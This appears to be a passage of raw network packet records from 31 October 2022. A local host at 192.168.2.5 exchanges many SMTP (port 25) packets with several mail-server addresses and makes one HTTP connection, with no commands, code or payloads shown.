Oct 31, 2022 12:20:57.125067949 CET	25	50103	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:57.125070095 CET	50103	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:57.125078917 CET	25	50103	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:57.125089884 CET	25	50103	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:57.125960112 CET	80	50123	199.59.243.222	192.168.2.5
Oct 31, 2022 12:20:57.126044035 CET	50123	80	192.168.2.5	199.59.243.222
Oct 31, 2022 12:20:57.129533052 CET	25	50103	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:57.129554987 CET	25	50103	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:57.155453920 CET	25	50120	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:57.155647993 CET	50120	25	192.168.2.5	142.250.150.26
Oct 31, 2022 12:20:57.209216118 CET	25	50120	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:57.209561110 CET	25	50120	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:57.209784985 CET	50120	25	192.168.2.5	142.250.150.26
Oct 31, 2022 12:20:57.211472034 CET	50120	25	192.168.2.5	142.250.150.26
Oct 31, 2022 12:20:57.264987946 CET	25	50120	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:57.265016079 CET	25	50120	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:57.265029907 CET	25	50120	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:57.265072107 CET	25	50120	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:57.265084028 CET	25	50120	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:57.265161991 CET	50120	25	192.168.2.5	142.250.150.26
Oct 31, 2022 12:20:57.265232086 CET	50120	25	192.168.2.5	142.250.150.26
Oct 31, 2022 12:20:57.270256042 CET	25	50120	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:57.271022081 CET	50120	25	192.168.2.5	142.250.150.26
Oct 31, 2022 12:20:57.318766117 CET	25	50120	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:57.318795919 CET	25	50120	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:57.318808079 CET	25	50120	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:57.318821907 CET	25	50120	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:57.318833113 CET	25	50120	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:57.318845034 CET	25	50120	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:57.318854094 CET	25	50120	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:57.318865061 CET	25	50120	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:57.318890095 CET	25	50120	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:57.318903923 CET	25	50120	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:57.318914890 CET	25	50120	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:57.318933964 CET	25	50120	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:57.318944931 CET	25	50120	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:57.318958044 CET	25	50120	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:57.318970919 CET	25	50120	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:57.318981886 CET	25	50120	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:57.319004059 CET	25	50120	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:57.319015026 CET	25	50120	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:57.319024086 CET	50120	25	192.168.2.5	142.250.150.26
Oct 31, 2022 12:20:57.319091082 CET	50120	25	192.168.2.5	142.250.150.26
Oct 31, 2022 12:20:57.324577093 CET	25	50120	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:57.324604034 CET	25	50120	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:57.328762054 CET	25	50103	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:57.328788042 CET	25	50103	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:57.329191923 CET	25	50103	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:57.329260111 CET	25	50103	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:57.329286098 CET	25	50103	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:57.329329014 CET	25	50103	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:57.329385042 CET	25	50103	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:57.329396963 CET	25	50103	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:57.329410076 CET	25	50103	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:57.329421997 CET	25	50103	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:57.329432964 CET	25	50103	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:57.329443932 CET	25	50103	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:57.329456091 CET	25	50103	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:57.329467058 CET	25	50103	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:57.329478025 CET	25	50103	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:57.329489946 CET	25	50103	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:57.329500914 CET	25	50103	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:57.329513073 CET	25	50103	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:57.362483978 CET	25	50103	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:57.362512112 CET	25	50103	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:57.362629890 CET	50103	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:57.362899065 CET	50103	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:57.372520924 CET	25	50120	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:57.372544050 CET	25	50120	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:57.372555017 CET	25	50120	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:57.372566938 CET	25	50120	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:57.372577906 CET	25	50120	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:57.372589111 CET	25	50120	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:57.372598886 CET	25	50120	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:57.372612953 CET	25	50120	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:57.372626066 CET	25	50120	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:57.372637987 CET	50120	25	192.168.2.5	142.250.150.26
Oct 31, 2022 12:20:57.372709990 CET	25	50120	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:57.372721910 CET	25	50120	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:57.372735023 CET	25	50120	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:57.372746944 CET	25	50120	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:57.372757912 CET	25	50120	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:57.372771025 CET	25	50120	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:57.372782946 CET	25	50120	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:57.372793913 CET	25	50120	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:57.372806072 CET	25	50120	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:57.397629976 CET	50124	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:57.426100969 CET	25	50120	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:57.428668976 CET	25	50120	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:57.428888083 CET	50120	25	192.168.2.5	142.250.150.26
Oct 31, 2022 12:20:57.430989981 CET	25	50124	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:57.431132078 CET	50124	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:57.451332092 CET	25	50116	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:57.457442045 CET	50125	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:57.473342896 CET	25	50124	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:57.473673105 CET	50124	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:57.482637882 CET	25	50120	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:57.482747078 CET	50120	25	192.168.2.5	142.250.150.26
Oct 31, 2022 12:20:57.506901026 CET	25	50124	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:57.518332005 CET	25	50124	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:57.523241997 CET	50124	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:57.562057018 CET	25	50124	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:57.564721107 CET	25	50124	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:57.565102100 CET	50124	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:57.566421032 CET	25	50103	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:57.603157997 CET	25	50124	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:57.620793104 CET	25	50116	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:57.624135017 CET	50116	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:57.749300957 CET	25	50124	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:57.749520063 CET	50124	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:57.782769918 CET	25	50124	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:57.790925980 CET	25	50124	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:57.791234016 CET	50124	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:57.792789936 CET	50124	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:57.826071024 CET	25	50124	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:57.826109886 CET	25	50124	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:57.826127052 CET	25	50124	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:57.826143026 CET	25	50124	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:57.826159000 CET	25	50124	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:57.826344013 CET	50124	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:57.826411963 CET	50124	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:57.829963923 CET	25	50125	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:57.830295086 CET	50125	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:57.833830118 CET	25	50124	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:57.838917017 CET	50124	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:57.859673023 CET	25	50124	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:57.859702110 CET	25	50124	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:57.859718084 CET	25	50124	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:57.859735012 CET	25	50124	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:57.859750986 CET	25	50124	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:57.859766006 CET	25	50124	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:57.859787941 CET	25	50124	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:57.859805107 CET	25	50124	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:57.859822035 CET	25	50124	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:57.859839916 CET	25	50124	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:57.859857082 CET	25	50124	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:57.859874010 CET	25	50124	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:57.859891891 CET	25	50124	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:57.859891891 CET	50124	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:57.859909058 CET	25	50124	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:57.859926939 CET	25	50124	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:57.859961033 CET	50124	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:57.872092962 CET	25	50124	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:57.872124910 CET	25	50124	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:57.893147945 CET	25	50124	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:57.893178940 CET	25	50124	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:57.893197060 CET	25	50124	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:57.893213987 CET	25	50124	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:57.893232107 CET	25	50124	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:57.893248081 CET	25	50124	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:57.893264055 CET	25	50124	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:57.893280983 CET	25	50124	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:57.893296003 CET	25	50124	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:57.893311024 CET	25	50124	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:57.893326044 CET	25	50124	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:57.893342018 CET	25	50124	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:57.893357038 CET	25	50124	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:57.893373013 CET	25	50124	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:57.893785000 CET	25	50124	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:57.893801928 CET	25	50124	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:57.904345036 CET	25	50124	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:57.904372931 CET	25	50124	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:57.904503107 CET	50124	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:57.904552937 CET	50124	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:57.933125973 CET	50126	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:57.937494040 CET	25	50124	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:57.986996889 CET	25	50126	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:57.987206936 CET	50126	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:57.990262985 CET	25	50116	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:58.042418957 CET	25	50126	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:58.044298887 CET	50126	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:58.098056078 CET	25	50126	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:58.101382017 CET	25	50126	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:58.101667881 CET	50126	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:58.135751963 CET	25	50125	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:58.135970116 CET	50125	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:58.155893087 CET	25	50126	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:58.157558918 CET	25	50116	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:58.157898903 CET	50126	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:58.158041000 CET	50116	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:58.216651917 CET	25	50126	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:58.373507977 CET	25	50125	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:58.375288963 CET	50125	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:58.378902912 CET	25	50126	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:58.386646986 CET	50126	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:58.440376997 CET	25	50126	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:58.440983057 CET	25	50126	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:58.441165924 CET	50126	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:58.442754030 CET	50126	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:58.496541023 CET	25	50126	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:58.496577024 CET	25	50126	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:58.496597052 CET	25	50126	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:58.496613026 CET	25	50126	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:58.496629000 CET	25	50126	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:58.496783972 CET	50126	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:58.496851921 CET	50126	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:58.501677990 CET	25	50126	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:58.502110004 CET	50126	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:58.523951054 CET	25	50116	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:58.550728083 CET	25	50126	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:58.550764084 CET	25	50126	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:58.550776958 CET	25	50126	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:58.550789118 CET	25	50126	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:58.550796032 CET	25	50126	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:58.550808907 CET	25	50126	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:58.550822020 CET	25	50126	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:58.550833941 CET	25	50126	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:58.550846100 CET	25	50126	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:58.550858021 CET	25	50126	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:58.550868988 CET	25	50126	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:58.550895929 CET	25	50126	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:58.550909042 CET	25	50126	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:58.550920010 CET	25	50126	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:58.550930977 CET	25	50126	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:58.550944090 CET	25	50126	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:58.550951004 CET	25	50126	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:58.550959110 CET	25	50126	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:58.551031113 CET	50126	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:58.551094055 CET	50126	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:58.555879116 CET	25	50126	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:58.555905104 CET	25	50126	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:58.604863882 CET	25	50126	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:58.604897976 CET	25	50126	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:58.604909897 CET	25	50126	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:58.604918003 CET	25	50126	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:58.604932070 CET	25	50126	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:58.604943991 CET	25	50126	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:58.604953051 CET	25	50126	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:58.604964018 CET	25	50126	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:58.604974985 CET	25	50126	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:58.604985952 CET	25	50126	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:58.604996920 CET	25	50126	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:58.605009079 CET	25	50126	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:58.605021954 CET	25	50126	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:58.605032921 CET	25	50126	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:58.605043888 CET	25	50126	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:58.605056047 CET	25	50126	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:58.605067015 CET	25	50126	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:58.605078936 CET	25	50126	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:58.608082056 CET	25	50126	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:58.608145952 CET	25	50126	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:58.608283043 CET	50126	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:58.610749006 CET	50126	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:58.664400101 CET	25	50126	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:58.688955069 CET	50127	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:58.722629070 CET	25	50127	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:58.726341009 CET	50127	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:58.747770071 CET	25	50125	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:58.758987904 CET	25	50116	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:58.761110067 CET	25	50127	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:58.764214039 CET	50127	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:58.764400959 CET	50116	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:58.797815084 CET	25	50127	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:58.801434040 CET	25	50127	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:58.804101944 CET	50127	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:58.838093996 CET	25	50127	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:58.839306116 CET	50127	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:58.878057957 CET	25	50127	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:58.920288086 CET	25	50125	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:58.920572996 CET	50125	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:59.019715071 CET	25	50127	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:59.020123959 CET	50127	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:59.053710938 CET	25	50127	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:59.053849936 CET	25	50127	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:59.054040909 CET	50127	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:59.055310965 CET	50127	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:59.089009047 CET	25	50127	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:59.089055061 CET	25	50127	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:59.089077950 CET	25	50127	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:59.089097977 CET	25	50127	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:59.089121103 CET	25	50127	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:59.089432001 CET	50127	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:59.089524031 CET	50127	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:59.093271971 CET	25	50127	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:59.093472958 CET	50127	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:59.123127937 CET	25	50127	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:59.123159885 CET	25	50127	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:59.123369932 CET	50127	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:59.123579025 CET	25	50127	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:59.123594999 CET	25	50127	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:59.123610973 CET	25	50127	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:59.123680115 CET	50127	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:59.123711109 CET	50127	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:59.123754025 CET	25	50127	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:59.123769045 CET	25	50127	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:59.123783112 CET	25	50127	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:59.123800993 CET	25	50127	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:59.123817921 CET	25	50127	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:59.123836040 CET	25	50127	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:59.123847961 CET	50127	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:59.123888969 CET	25	50127	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:59.123892069 CET	50127	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:59.123907089 CET	25	50127	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:59.123924971 CET	25	50127	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:59.123941898 CET	25	50127	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:59.123960972 CET	25	50127	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:59.123981953 CET	25	50127	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:59.124001026 CET	25	50127	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:59.127021074 CET	25	50127	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:59.127058029 CET	25	50127	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:59.130266905 CET	25	50116	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:59.156955957 CET	25	50127	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:59.156997919 CET	25	50127	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:59.157013893 CET	25	50127	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:59.157027960 CET	25	50127	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:59.157042027 CET	25	50127	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:59.157058001 CET	25	50127	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:59.157237053 CET	25	50127	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:59.157253981 CET	25	50127	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:59.157269001 CET	25	50127	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:59.157283068 CET	25	50127	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:59.157299042 CET	25	50127	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:59.157391071 CET	25	50127	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:59.157427073 CET	25	50127	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:59.157507896 CET	25	50127	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:59.157526970 CET	25	50127	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:59.157541990 CET	25	50127	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:59.157557964 CET	25	50127	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:59.157572985 CET	25	50127	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:59.159837008 CET	25	50127	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:59.159895897 CET	25	50127	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:59.160011053 CET	50127	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:59.160011053 CET	50127	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:59.184681892 CET	50128	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:59.292918921 CET	25	50125	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:59.297450066 CET	25	50116	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:59.297666073 CET	50116	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:59.299529076 CET	50116	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:59.463457108 CET	25	50125	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:59.463773966 CET	50125	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:59.468889952 CET	50127	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:59.502415895 CET	25	50127	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:59.557410002 CET	25	50128	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:59.557508945 CET	50128	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:59.663712978 CET	25	50116	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:59.665544033 CET	25	50116	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:59.665612936 CET	25	50116	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:59.665632963 CET	25	50116	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:59.665649891 CET	25	50116	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:59.665667057 CET	25	50116	74.125.200.26	192.168.2.5
